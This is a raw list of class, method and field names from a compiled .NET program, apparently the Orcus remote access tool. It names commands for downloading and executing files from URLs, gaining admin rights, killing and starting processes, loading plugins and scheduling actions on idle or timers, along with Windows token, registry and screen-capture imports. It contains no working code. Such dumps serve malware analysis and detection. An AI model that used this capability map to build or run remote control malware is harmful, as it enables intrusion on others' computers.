<ExecuteActiveCommand>b__0
<ExecuteActiveCommand>b__1
<ExecuteActiveCommand>b__2
DynamicCommandFeedbackFactory
_callbackId
_messages
_serverConnection
_commandSuceeded
_isPushed
serverConnection
callbackId
SendMessage
MessageType
messageType
BinaryWriter
GetUniqueFileName
Encoding
get_UTF8
GetBytes
PushEvent
ActivityType
binaryWriter
callBackId
activityType
LastOrDefault
PushData
MessageInfo
<Message>k__BackingField
<MessageType>k__BackingField
<Timestamp>k__BackingField
get_MessageType
get_Timestamp
Message
Timestamp
<>9__14_0
<PushData>b__14_0
DynamicCommandStore
_files
<ListLock>k__BackingField
<StoredCommands>k__BackingField
get_ListLock
get_StoredCommands
CreateDirectory
WriteAllBytes
AddStoredCommand
TryGetValue
RemoveStoredCommand
TryAddPotentialCommand
fileInfo
ListLock
StoredCommands
LoadedStaticCommandPluginInfo
<Hash>k__BackingField
<Filename>k__BackingField
get_Filename
Filename
StaticCommandSelector
_loadedPlugins
_staticCommandScheduler
_clientInfo
_activeCommandsLock
_activeCommandStopScheduler
<StaticCommands>k__BackingField
<Current>k__BackingField
<ActiveCommands>k__BackingField
KillCommand
MakeAdminCommand
ChangeComputerStateCommand
DownloadAndExecuteCommand
DownloadAndExecuteFromUrlCommand
OpenWebsiteCommand
ExecuteProcessCommand
WakeOnLanCommand
Orcus.StaticCommands.Computer
ShowMessageBoxCommand
Orcus.StaticCommands.Interaction
ShowBalloonTooltipCommand
OpenTextInNotepadCommand
ToDictionary
IDictionary`2
get_StaticCommands
set_Current
get_ActiveCommands
GetActiveCommandIds
StopActiveCommand
commandId
get_CommandId
ContainsKey
get_PluginResourceId
get_PluginHash
get_ExecutionEvent
ExecutionEvent
ExecuteCommand
parameter
add_ExecutionStopped
ExecutePotentialCommand
ActiveStaticCommandOnExecutionStopped
MD5CryptoServiceProvider
CheckPluginAvailable
pluginHash
AutoResetEvent
LoadStaticCommandPlugin
resourceId
LoadFile
InitializePlugin
StaticCommands
ActiveCommands
<>9__6_0
<>9__6_1
<>9__19_0
<>9__27_0
<.ctor>b__6_0
<.ctor>b__6_1
<GetActiveCommandIds>b__19_0
EmptyTypes
GetConstructor
ConstructorInfo
<InitializePlugin>b__27_0
<>c__DisplayClass20_0
<StopActiveCommand>b__0
<>c__DisplayClass21_0
<ExecuteCommand>b__0
<ExecutePotentialCommand>b__0
<>c__DisplayClass23_1
staticCommand
<>c__DisplayClass23_2
<ExecutePotentialCommand>b__1
<>c__DisplayClass24_0
<ActiveStaticCommandOnExecutionStopped>b__0
<>c__DisplayClass25_0
<CheckPluginAvailable>b__0
<>c__DisplayClass25_1
<CheckPluginAvailable>b__1
<>c__DisplayClass26_0
pluginFilename
autoResetEvent
<LoadStaticCommandPlugin>b__0
StaticCommandScheduler
_executionEvents
_executePotentialCommandDelegate
IExecutionEvent
Orcus.Shared.DynamicCommands.ExecutionEvents
executePotentialCommandDelegate
AddPotentialCommand
get_CanExecute
add_TheTimeHasCome
InitializePotentialCommand
isStored
ExecutePotentialCommandDelegate
MulticastDelegate
object
method
BeginInvoke
IAsyncResult
AsyncCallback
callback
EndInvoke
result
<>9__4_0
<>9__4_1
<.ctor>b__4_0
<.ctor>b__4_1
<>c__DisplayClass7_0
<InitializePotentialCommand>b__0
StopSchedulerSettings
<Sessions>k__BackingField
<DurationStopEventInfos>k__BackingField
get_Sessions
set_Sessions
get_DurationStopEventInfos
set_DurationStopEventInfos
Sessions
DurationStopEventInfos
SessionCommandInfo
<CommandId>k__BackingField
<StartupTime>k__BackingField
set_CommandId
set_StartupTime
CommandId
DurationStopEventInfo
<StartTime>k__BackingField
get_StartTime
set_StartTime
StartTime
IdleExecutionEvent
Orcus.StaticCommandManagement.ExecutionEvents
_requiredIdleTime
_executeAtDateTime
_dateTime
_waiter
System.Timers
<Id>k__BackingField
TheTimeHasCome
Marshal
SizeOf
get_TickCount
op_GreaterThanOrEqual
remove_TheTimeHasCome
ToInt32
ElapsedEventHandler
add_Elapsed
Component
WaiterOnElapsed
ElapsedEventArgs
elapsedEventArgs
CanExecute
DateTimeExecutionEvent
get_TotalMilliseconds
get_Interval
Resources
Orcus.Properties
resourceMan
resourceCulture
get_Assembly
get_ResourceManager
get_Culture
set_Culture
GetString
get_AppConfig
get_ConnectEnvironment
EditorBrowsableAttribute
EditorBrowsableState
Culture
AppConfig
ConnectEnvironment
DebuggerNonUserCodeAttribute
GeneratedCodeAttribute
System.CodeDom.Compiler
Settings
ApplicationSettingsBase
System.Configuration
defaultInstance
get_Default
SettingsBase
Synchronized
Default
DiFunction
Orcus.Native
value__
SelectDevice
InstallDevice
AssignResources
Properties
FirstTimeSetup
FoundDevice
SelectClassDrivers
ValidateClassDrivers
InstallClassDrivers
CalcDiskSpace
DestroyPrivateData
ValidateDriver
Detect
InstallWizard
DestroyWizardData
PropertyChange
EnableClass
DetectVerify
InstallDeviceFiles
UnRemove
SelectBestCompatDrv
AllowInstall
RegisterDevice
NewDeviceWizardPreSelect
NewDeviceWizardSelect
NewDeviceWizardPreAnalyze
NewDeviceWizardPostAnalyze
NewDeviceWizardFinishInstall
Unused1
InstallInterfaces
DetectCancel
RegisterCoInstallers
AddPropertyPageAdvanced
AddPropertyPageBasic
Reserved1
Troubleshooter
PowerMessageWake
AddRemotePropertyPageAdvanced
UpdateDriverUI
Reserved2
DiGetClassFlags
DIGCF_DEFAULT
DIGCF_PRESENT
DIGCF_ALLCLASSES
DIGCF_PROFILE
DIGCF_DEVICEINTERFACE
FlagsAttribute
NativeMethods
CryptAcquireContext
phProv
pszContainer
pszProvider
dwProvType
dwFlags
CryptCreateHash
phHash
CryptHashData
pbData
dwDataLen
CryptDestroyHash
CryptGetHashParam
dwParam
pdwDataLen
CryptReleaseContext
RegOpenKeyEx
subKey
ulOptions
samDesired
hkResult
OpenProcessToken
ProcessHandle
DesiredAccess
TokenHandle
GetTokenInformation
hToken
tokenInfoClass
TokenInformation
tokeInfoLength
reqLength
ConvertSidToStringSid
pStringSid
ConvertStringSidToSid
BitBlt